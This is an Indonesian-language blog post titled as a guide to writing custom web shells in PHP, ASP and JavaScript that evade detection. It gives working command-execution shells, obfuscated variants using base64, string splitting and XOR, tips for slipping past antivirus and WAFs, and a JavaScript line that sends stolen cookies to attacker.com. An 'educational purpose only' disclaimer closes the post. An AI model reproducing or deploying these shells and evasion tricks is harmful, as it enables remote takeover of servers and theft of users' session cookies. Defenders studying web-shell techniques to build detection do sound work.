Cara Membuat Web Shell Sendiri
(PHP, ASP, dan JS) agar Lolos Deteksi
Author : NyxCode
🕷️ Pendahuluan
Web shell adalah script berbahaya yang memungkinkan attacker menjalankan perintah langsung di server target melalui browser. Banyak attacker beralih ke web shell custom karena shell publik seperti c99 atau r57 sudah dikenal dan mudah dideteksi oleh antivirus, WAF, atau security tools.
Di artikel ini, kita akan belajar cara membuat web shell sendiri di PHP, ASP, dan JavaScript, serta trik mengenkripsi agar lolos deteksi.
⚡ 1. Apa Itu Web Shell?
Web shell adalah script yang diupload ke server yang memungkinkan perintah dijalankan dari jarak jauh. Misalnya:
- PHP shell ➔ menggunakan
system()
atauexec()
- ASP shell ➔ menggunakan
Execute()
- JS shell ➔ biasanya digunakan dalam XSS untuk backdoor browser
Web shell bisa berupa reverse shell (menghubungi attacker) atau simple shell yang menunggu perintah.
⚙️ 2. Membuat Web Shell Sederhana di PHP
Shell basic yang sangat umum dipakai:
<?php system($_GET['cmd']); ?>
Tinggal akses:
http://target.com/shell.php?cmd=ls
⚠️ Masalah: Mudah dideteksi oleh signature-based antivirus & WAF.
🔒 3. Mengenkripsi & Obfuscate Web Shell
Untuk menghindari deteksi, shell bisa diobfuscate dengan base64
, gzinflate
, atau str_rot13
.
Contoh teknik base64:
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>
Contoh teknik gzinflate:
<?php eval(gzinflate(base64_decode('...'))); ?>
Tips Lolos Deteksi:
- Hindari
eval()
terlalu banyak - Ganti nama parameter dari
cmd
➔accessCode
atau random string
🐍 4. Membuat Web Shell di ASP
Shell sederhana untuk server Windows/IIS:
<% Execute(Request("cmd")) %>
Akses via URL:
http://target.com/shell.asp?cmd=dir
⚠️ 5. JavaScript-Based Backdoor
Web shell berbasis JS biasanya digunakan untuk XSS.
Contoh: mencuri cookie:
fetch('http://attacker.com/steal?cookie=' + document.cookie);
Atau menjalankan script untuk interaksi lanjut dengan attacker server.
🕶️ 6. Tips Lolos Deteksi
Beberapa trik untuk menyembunyikan payload:
- Split string, contoh:
$func = 's'.'ystem'; $func($_GET['cmd']);
- Gunakan
assert()
sebagai alternatifeval()
- XOR encoding payload sebelum dijalankan
🧰 7. Tools yang Bisa Dipelajari
- Weevely ➔ PHP shell terenkripsi
- China Chopper ➔ Shell kecil tapi powerful
- Pentestmonkey reverse shell ➔ Contoh yang clean dan efektif
🛡️ 8. Catatan Penting
⚠️ For Educational Purpose Only! Artikel ini hanya untuk edukasi keamanan. Jangan gunakan untuk eksploitasi ilegal. Penting untuk Blue Team agar lebih paham taktik attacker.
📝 Kesimpulan
Web shell custom jauh lebih stealthy daripada shell publik. Dengan teknik encoding dan parameter random, shell jadi lebih susah dideteksi. Penting untuk selalu update teknik karena keamanan server terus berkembang.
Posting Komentar